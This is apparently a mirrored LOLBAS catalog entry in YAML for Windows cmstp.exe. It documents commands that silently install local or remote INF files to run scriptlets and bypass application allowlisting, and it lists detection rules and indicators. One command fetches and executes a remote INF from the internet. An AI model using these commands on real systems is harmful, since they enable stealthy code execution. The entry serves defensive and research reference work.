mirror of
https://github.com/LOLBAS-Project/LOLBAS
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* Adding various tags as a first iteration * Adding quotes * Adding 'Custom Format' properly * Updating to key:value pairs * Update template
49 lines
3.0 KiB
YAML
49 lines
3.0 KiB
YAML
---
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Name: Cmstp.exe
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Description: Installs or removes a Connection Manager service profile.
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Author: 'Oddvar Moe'
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Created: 2018-05-25
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Commands:
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- Command: cmstp.exe /ni /s c:\cmstp\CorpVPN.inf
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Description: Silently installs a specially formatted local .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.
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Usecase: Execute code hidden within an inf file. Download and run scriptlets from internet.
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Category: Execute
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Privileges: User
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MitreID: T1218.003
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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Tags:
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- Input: INF
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- Command: cmstp.exe /ni /s https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Cmstp.inf
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Description: Silently installs a specially formatted remote .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.
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Usecase: Execute code hidden within an inf file. Execute code directly from Internet.
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Category: AWL Bypass
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Privileges: User
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MitreID: T1218.003
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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Tags:
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- Input: INF
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Full_Path:
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- Path: C:\Windows\System32\cmstp.exe
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- Path: C:\Windows\SysWOW64\cmstp.exe
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Detection:
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- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_cmstp_execution_by_creation.yml
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- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_uac_bypass_cmstp.yml
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- Splunk: https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/cmlua_or_cmstplua_uac_bypass.yml
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- Elastic: https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml
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- Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml
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- IOC: Execution of cmstp.exe without a VPN use case is suspicious
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- IOC: DotNet CLR libraries loaded into cmstp.exe
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- IOC: DotNet CLR Usage Log - cmstp.exe.log
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Resources:
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- Link: https://twitter.com/NickTyrer/status/958450014111633408
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- Link: https://gist.github.com/NickTyrer/bbd10d20a5bb78f64a9d13f399ea0f80
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- Link: https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e
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- Link: https://oddvar.moe/2017/08/15/research-on-cmstp-exe/
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- Link: https://gist.githubusercontent.com/tylerapplebaum/ae8cb38ed8314518d95b2e32a6f0d3f1/raw/3127ba7453a6f6d294cd422386cae1a5a2791d71/UACBypassCMSTP.ps1
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- Link: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmstp
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Acknowledgement:
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- Person: Oddvar Moe
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Handle: '@oddvarmoe'
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- Person: Nick Tyrer
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Handle: '@NickTyrer'
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